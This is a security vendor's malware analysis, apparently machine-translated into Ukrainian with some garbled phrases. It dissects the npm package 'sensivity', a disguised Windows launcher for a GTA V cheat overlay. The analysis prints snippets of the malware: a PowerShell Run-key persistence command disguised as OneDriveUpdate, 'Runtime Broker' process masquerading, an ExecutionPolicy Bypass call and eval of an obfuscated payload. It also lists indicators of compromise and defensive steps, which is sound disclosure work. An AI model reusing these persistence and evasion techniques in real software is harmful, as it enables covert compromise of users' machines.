PairLoop: Прихована панель віддаленого керування в npm-пакеті

PairLoop: Один npm-пакет, сімдесят версій та прихована панель віддаленого керування Windows

TL, д-р

Пакет npm чутливість описує себе як «Панель керування чутливістю». У Windows вона працює як інструмент дистанційного керування та спостереження.

Його точка входу, launcher.js, перейменовує власний процес на Runtime Broker, записує значення ключа запуску автозапуску з назвою OneDriveUpdate що перезапускає пакет через прихований VBScript, породжує PowerShell з -ExecutionPolicy Bypass, а потім оцінює завуальоване корисне навантаження сервера розміром 171 КБ разом із нативним модулем розміром 6.87 МБ, sens.node.

Він обслуговує панель керування сполученням телефонів на TCP-порті 3000 та зчитує URL-адресу адресного рядка активного браузера через Windows UIAutomation, шукаючи одне жорстко закодоване відео YouTube.

Дві частини, які раніше вважалися чорними ящиками, тепер вирішено. Заплутаний сервер, server.obf.js, використовує схему рядків-масивів obfuscator.io RC4; перереалізація його декодера в автономному режимі (без виконання JavaScript) відновлює одну зовнішню кінцеву точку — https://izopi.com/check.php — разом із вбудованим відкритим ключем RSA, який використовується для перевірки підписаних ліцензійних відповідей.

Рідний модуль, sens.node, не упакований: його таблиця імпорту та вбудовані рядки ідентифікують його як внутрішньоігровий шар DirectX 11 / Dear ImGui, що забезпечує функції aimbot, ESP (wall-hack) та triggerbot, керовані віддаленим впровадженням процесів та читанням/записом пам'яті.

Рядки всередині нього посилаються на сутності транспортних засобів та розташування на карті відповідно до GTA V / FiveM. Пакет npm — це обгортка доставки та збереження навколо цього нативного модуля.

Визначальним сигналом є операційний, а не технічний: один анонімний видавець опублікував приблизно сімдесят версій одного пакета — 2.5.0 через 2.5.69 — протягом кількох днів, кожен з яких ніс одну й ту саму пускову установку.

Немає жодних установок hooksКорисне навантаження запускається лише тоді, коли пакет запущено.

Атака: як це працює

sensivity постачає десять файлів. Файл package.json розріджений: немає поля репозиторію, немає ліцензії, є main та два псевдоніми bin (sensitivity, sens), які вказують на launcher.js, а також початковий скрипт node launcher.js. Немає жодної постінстальної чи попередньої інсталяції. Нічого не спрацьовує під час встановлення npm. Описана нижче поведінка виконується, коли користувач запускає пакет — через bin shim, початковий скрипт або require.

Тар-архів містить лаунчер, обфускований сервер, власний модуль, скрипт Visual Basic та каталог public/web для панелі керування. launcher.js — це читабельний оркестратор; логіка, яка має значення під час виконання, знаходиться у двох блобах, які він завантажує — обфускований сервер та скомпільований власний модуль, обидва вирішено нижче.

 Маскування процесів та підроблений засіб оновлення OneDrive

На початку виконання launcher.js двічі встановлює власну назву процесу:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker — це легітимний процес Windows (RuntimeBroker.exe), який опосередковує дозволи програм. Перейменування процесу Node відповідно до нього означає, що швидкий погляд на диспетчер завдань не показує нічого незвичайного.

Персистентність написана через PowerShell, а не безпосередньо через API реєстру:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Значення автозапуску називається OneDriveUpdate і не вказує безпосередньо на пакет. Воно вказує на wscript.exe, який запускає вхідний OneDrive.Standalone.Updater.vbs. Цей скрипт перезапускає node launcher.js у прихованому вікні. Як назва ключа запуску, так і назва файлу VBScript запозичують брендинг Microsoft, тому запис автозапуску читається як звичайне завдання OneDrive.

PowerShell з обходом політик виконання

Програма запуску постійно звертається до PowerShell. Сканери позначають критично важливим моментом запуску згенерованого файлу .ps1 з вимкненою політикою виконання:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Обхід ExecutionPolicy видаляє перевірку локального підпису скриптів для цього виклику. Згенеровані скрипти обробляють роботу зі спостереження за браузером та виявлення вікон, описану в наступному розділі.

Заобфускований сервер та нативний модуль

Після налаштування launcher.js завантажує та виконує своє справжнє корисне навантаження:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js — це 171 КБ обфускації _0x-array — шаблону JavaScript, де кожен рядок та ідентифікатор замінюється індексом у перетасованому масиві, а потім на нього видаляються посилання під час виконання. Схема є варіантом RC4, створеним obfuscator.io: одна функція декодера декодує елемент масиву за допомогою base64, а потім розшифровує його за допомогою ключа для кожного виклику. Перереалізація цього декодера в окремому скрипті — запуск лише перереалізації над витягнутим масивом рядків із 821 елементом, а не власним JavaScript пакета — повністю розмотує його. Те, що виглядає скромно, але...cisive: одна зовнішня URL-адреса, https://izopi.com/check.php`, призначена константі LICENSE_URL; вбудований RSA PUBLIC_KEY_PEM`; локальні маршрути панелі /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off та /trigger/status; та рядки child_process, crypto та [Sensivity] sens.node loaded — останній є тим самим рядком журналу, який лаунчер перезаписує в програмний модуль завантажений. Кінцева точка — це перевірка ліцензії: клієнт надсилає ідентифікатор (обфускований сервер форматує рядок Discord ID: %s), а ключ RSA перевіряє підписану відповідь сервера.

sens.node — це скомпільований нативний додаток розміром 6.87 МБ, який не упакований — ентропія секцій знаходиться на рівні 5.6–6.6, а таблиці імпорту та експорту PE збереглися, тому його можливості можна читати безпосередньо. Він експортує napi_register_module_v1, standard Точка входу Node N-API, тому сервер, що оцінюється, завантажує її з простим вимогою. Її таблиця імпорту є телом. З KERNEL32 він отримує OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules та Process32First/NextW — канонічний набір для визначення місцезнаходження іншого процесу, виділення пам'яті всередині нього та читання або запису цієї пам'яті. З USER32 він отримує GetAsyncKeyState, GetKeyState, mouse_event та SetCursorPos; він пов'язує d3d11.dll, D3DCOMPILER_43 та dwmapi для екранного накладання, а також повний набір WINHTTP для мережевих викликів. Його вбудовані рядки називають набір функцій без двозначності: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected та банер Dear ImGui Dear ImGui 1.91.3 WIP. Рядки розташування та сутності, такі як Grapeseed Medical Clinic та словник vehicle-ESP, узгоджуються з GTA V / FiveM.

Такий поділ навмисний: читабельний launcher.js містить лише ті частини, які сканер легко зчитує — persistence, masquerade, сам виклик eval — тоді як обфускація приховує один зовнішній хост, з яким зв'язується середовище виконання, а бінарний файл містить логіку ігрового накладання та ін'єкції процесу. Лаунчер — це тонка, аудитована оболонка; обфускований сервер приховує мережеву ідентифікацію; нативний модуль — це корисне навантаження. Ми описуємо імпортовані дані та рядки бінарного файлу як прочитані; ми не робимо з них висновків про призначення оператора.

 Панель керування сполученням телефонів на порту 3000

Програма запуску керує локальним веб-сервером на TCP-порту 3000 та обробляє його як одиночний об'єкт. Вона запитує існуючий слухач та очищує його перед зв'язуванням:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Панель доступна за адресою http://localhost:3000, з жорстко закодованою резервною URL-адресою локальної мережі http://192.168.1.16:3000. Каталог public/ та поведінка панелі відповідають процесу сполучення QR-кодів: телефон сканує код та прив’язується до хоста як віддалений пристрій. Жоден зовнішній домен командного керування не відображається у відкритому тексті в панелі запуску, але, як показує деобфускація вище, він присутній на обфусцованому сервері: кінцева точка ліцензії izopi.com. Сама панель є локальною та має область дії локальної мережі; єдиним вихідним хостом є ця перевірка ліцензії.

Відокремлена модель супервізора/робочого процесу підтримує роботу процесу. Запускова програма перезапускається з прапорцями середовища SENSIVITY_SUPERVISOR та SENSIVITY_WORKER, кожен дочірній процес працює приховано, тому після завершення одного процесу сторожовий таймер повинен його перезапустити.

Спостереження за браузером та сигнал YouTube

Найбільш специфічною поведінкою є моніторинг браузера. launcher.js створює PowerShell, який керує Windows UIAutomation для зчитування адресного рядка запущеного браузера:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern повертає текстовий вміст елемента інтерфейсу. Застосований до елемента редагування адресного рядка браузера, він повертає URL-адресу, яку жертва наразі переглядає — без розширення браузера, без торкання профілю на диску та без перехоплення API. Згенерований скрипт ітерує список $browserNames та витягує URL-адресу або заголовок вікна браузера, який є активним.

Ця URL-адреса перевіряється на відповідність одній жорстко закодованій цілі:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Програма запуску протягом трьох секунд опитує вікно браузера, яке відображає YouTube, а згенерований PowerShell містить пару Get-YouTubeBrowser / Test-TargetYouTubeUrl, яка відповідає цьому ідентифікатору відео. Спостережуваний ефект має два аспекти: з екрана жертви зчитується URL-адреса активного перегляду, а також виявляється взаємодія хоста з одним конкретним відео YouTube. Ми описуємо механізм і ціль; ми не робимо висновків про мотив з них.

Зчитування адресного рядка — це те, що сканер позначає як sensitive_data_enumeration — джерело Process::env та UIAutomation, що забезпечує мережеве середовище виконання. Окремо воно виглядає безпечним і перетворюється на спостереження лише після того, як життєвий цикл даних простежується від джерела UIAutomation до обфусцованого сервера.

Хронологія та еволюція версій

Sensitivity — це не одноразове завантаження. Обліковий запис видавця має приблизно сімдесят опублікованих версій цього єдиного пакета, і нові продовжували надходити протягом періоду рецензування. Лаунчер розширюється функція за функцією протягом лінійки 2.5.x, тоді як його стійкість та завантаження корисного навантаження залишаються фіксованими.

Дата (UTC) Спостережувані версії Стан запуску
2026-06-02 2.5.8 - 2.5.46 (25) Базовий лаунчер QR-панелі; збереження клавіші запуску; оцінка обфускованого сервера.
2026-06-03 2.5.53 - 2.5.61 (6) Той самий відбиток пальця; придушення слідів консолі.
2026-06-04 2.5.67, 2.5.68 (2) Додає закріплену цільову групу для взаємодії на YouTube wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Перевидання для заповнення прогалин по всьому асортименту; керівник/наглядач за працівниками.

Аналіз лаунчера для завантажених представників — 2.5.0, 2.5.36 та 2.5.69 — показує чотири рівні. Найдавніші збірки містять базовий лаунчер з QR-паруванням. Починаючи з версії 2.5.33, з'являється засіб збору адресного рядка UIAutomation. Починаючи з версії 2.5.58, додається рівень керування супервайзером. Починаючи з версії 2.5.64, окремий сторожовий таймер супервайзера/робочого завершує набір. Протягом усього процесу чотири речі не змінюються: ключ OneDriveUpdate Run, засіб завантаження OneDrive.Standalone.Updater.vbs, оцінений server.obf.js та власний модуль sens.node.

Хвиля 2026-06-05 примітна тим, що в її рамках було повторно опубліковано версії з низькими номерами — від 2.5.0 до 2.5.15 — які знаходяться нижче версій, підтверджених кілька днів тому. В результаті в реєстрі з’явився суцільний рядок 2.5.x, причому кожна версія мала однаковий лаунчер.

Ознаки компромісу

Усі наведені нижче індикатори були зчитані безпосередньо з tar-архіву пакета. Читабельний лаунчер містить лише зворотну петлю та одну приватну адресу локальної мережі; одне зовнішнє ім'я хоста, izopi.com, було відновлено шляхом деобфускації server.obf.js у автономному режимі.

тип індикатор примітки
пакет npm:sensivity (≈70 версій, 2.5.0-2.5.69) Видавець одного пакету; без репозиторію; без ліцензії.
Файл launcher.js Оркестратор, що читається; головний та кінцевий цільовий об'єкти.
Файл server.obf.js (≈171 КБ) Корисне навантаження рядкового масиву obfuscator.io RC4, завантажене через eval(fs.readFileSync(...)).
Файл sens.node (≈6.87 МБ) Доповнення PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
Файл OneDrive.Standalone.Updater.vbs Прихований перезапуск (node launcher.js).
Мережа https://izopi.com/check.php Кінцева точка ліцензування/авторизації відновлена ​​з обфусцованого сервера; вбудований відкритий ключ RSA перевіряє відповіді.
Можливості OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Віддалене впровадження процесів та можливість читання/запису в пам'ять.
Можливості Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP Ігровий оверлей DirectX 11 / ImGui, що реалізує функції aimbot, ESP та triggerbot.
реєстру HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Значення автозапуску, що вказує на wscript.exe та панель запуску VBScript.
Процес process.title = 'Runtime Broker' Маскується під легітимний процес Windows Runtime Broker.
Поведінкові powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Обхід політики виконання, що використовується для згенерованих скриптів PowerShell.
Поведінкові UIAutomation ValuePattern читання адресного рядка браузера Зчитує URL-адресу вікна браузера на передньому плані.
Поведінкові Ідентифікатор цільового відео wJWta2lO0Lw3-секундне опитування на YouTube Закріплений сигнал моніторингу залученості.
Мережа http://localhost:3000, резервний варіант http://192.168.1.16:3000 Панель керування QR-сполученням, доступна локально та в локальній мережі.
Навколишнє середовище SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Відокремлені прапорці координації процесів сторожового таймера.

Атрибуція, вплив та захисники

Пакет опубліковано одним обліковим записом npm, чия вказана електронна адреса є неперевіреною адресою Gmail. Обліковий запис має вкрай негативний рейтинг репутації в реєстрі, підтримує та публікує лише цей один пакет і не має пов'язаного з ним репозиторію вихідного коду. Ми не підтвердили право власності на електронну пошту та пов'язуємо кампанію з обліковим записом видавця, а не з жодною іменованою особою. Лаунчер не має інфраструктури відкритого тексту, але тепер відомий один зовнішній хост: обфускований сервер зв'язується з izopi.com для перевірки ліцензії, а власний модуль — що зчитується з таблиці імпорту та рядків, а не у зворотному порядку інструкція за інструкцією — є ігровим оверлеєм, який вводить дані в пам'ять іншого процесу та зчитує їх.

Помітний вплив відчувається на користувачах Windows, які встановлюють та запускають Sensitivity, очікуючи утиліти панелі керування. На цих хостах пакет встановлює автозапуск persistent, замаскований під завдання OneDrive, перейменовує себе, щоб імітувати системний процес, зчитує URL-адресу будь-якого вмісту, який переглядає користувач, та створює панель сполучення, яка прив’язує машину до віддаленого комп’ютера через локальну мережу. Сторожовий таймер supervisor/worker означає, що одне завершення процесу не видаляє його; запис Run-key зберігається після перезавантаження. macOS та Linux не є цілями засобу запуску — шляхи persistent, PowerShell та UIAutomation доступні лише для Windows.

Варто звернути увагу на тенденцію до відтоку версій, коли пакети перевидаються через сімдесят разів. Перевидання одного пакета десятки разів протягом кількох днів, включаючи додавання номерів версій під ті, що вже були видалені, зберігає активну копію в реєстрі між видаленнями та засмучує роботу заблокованих версій. Запис у чорному списку для sensivity@2.5.61 нічого не робить проти sensivity@2.5.3, перевиданої наступного дня.

Захисники можуть діяти на основі наступного:

  • Повністю блокуйте чутливість назви пакета в списках дозволених версій проксі-сервера реєстру та неперервної інтеграції. Закріплення окремих версій негативно впливає на частоту повторних публікацій; назва є показником стійкості.
  • Знайдіть значення запуску з назвою OneDriveUpdate, дані якого викликають wscript.exe для .vbs у шляху для кожного користувача. Справжній засіб оновлення OneDrive не зареєстровано таким чином.
  • Оповіщення про процес Node.js, process.title якого — Runtime Broker. Справжнім брокером є RuntimeBroker.exe, а не середовище виконання Node.
  • Позначати npm-завантаження пакетів під час встановлення, які містять скомпільований .node-аддон та eval(fs.readFileSync(…)) для рідного .obf.js-файлу. Це поєднання — непрозорий нативний бінарний файл, завантажений поруч із обфускованим текстовим навантаженням — є структурним телом тут, незалежно від будь-якого рядкового IOC.
  • Розглядати будь-який локально пов'язаний слухач на порту 3000, породжений неочікуваним процесом Node, як підозрілий на керованих кінцевих точках Windows.
  • Блокувати або сповіщати про вихідні запити до izopi.com від хостів розробника або кінцевого користувача; це єдина зовнішня кінцева точка пакета, до якої можна дістатися за адресою /check.php із завуальованого сервера.
  • Для будь-якого доповнення .node, що входить до комплекту, перевірте його таблицю імпорту, перш ніж довіряти йому. Комбінація OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread є віддаленим впровадженням у процес, незалежно від того, що обіцяє зробити пакет; тут вона розташована поруч із накладанням Direct3D та рядками aimbot/ESP/triggerbot.

Для статичного аналізу pipelineТаким чином, форма переконання є стійкою протягом усього циклу зміни версій: профіль встановлення поза мережею, призначення назви процесу відомому імені системного процесу, запис за допомогою клавіші запуску через PowerShell та оцінка файлу, зчитаного з диска. Жоден з цих варіантів не залежить від домену, IP-адреси чи номера версії, які можна видалити під час наступної публікації.

 Посилання

[npm: чутливість] – сторінка реєстру для рядка версії пакета, про який тут йшлося; підлягає видаленню.

інструменти-для-аналізу-складу-програмного-засобу-sca
Визначте пріоритети, усуньте та захистіть ризики, пов'язані з програмним забезпеченням
Отримайте свій безкоштовний обліковий запис.
Не потрібна кредитна картка.

Забезпечте розробку та доставку програмного забезпечення

з пакетом продуктів Xygeni